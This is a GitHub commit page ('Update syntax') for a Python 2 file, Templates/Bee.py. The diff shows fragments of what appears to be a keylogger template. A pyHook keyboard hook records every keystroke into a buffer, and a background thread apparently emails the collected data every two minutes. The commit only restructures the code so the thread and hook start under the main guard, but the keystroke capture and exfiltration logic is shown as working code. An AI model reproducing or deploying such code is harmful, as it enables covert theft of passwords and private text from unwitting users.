Skip to content

Commit b8b8cb6

Browse files
author
franklin
committed
Update syntax
1 parent 09f9d37 commit b8b8cb6

File tree

1 file changed

+9
-9
lines changed

1 file changed

+9
-9
lines changed

Templates/Bee.py

Lines changed: 9 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -62,11 +62,7 @@ def send_mail():
6262
except Exception as error:
6363
print error
6464
sleep(120)
65-
6665

67-
if __name__ == '__main__':
68-
triggerThread = Thread(target=send_mail)
69-
triggerThread.start()
7066

7167
def pushing(event):
7268
global data
@@ -92,8 +88,12 @@ def pushing(event):
9288
}
9389
keyboardKeyName = keys.get(event.Ascii, chr(event.Ascii))
9490
data += keyboardKeyName
95-
96-
hookManager = pyHook.HookManager()
97-
hookManager.KeyDown = pushing
98-
hookManager.HookKeyboard()
99-
pythoncom.PumpMessages()
91+
92+
if __name__ == '__main__':
93+
triggerThread = Thread(target=send_mail)
94+
triggerThread.start()
95+
96+
hookManager = pyHook.HookManager()
97+
hookManager.KeyDown = pushing
98+
hookManager.HookKeyboard()
99+
pythoncom.PumpMessages()

0 commit comments

Comments
 (0)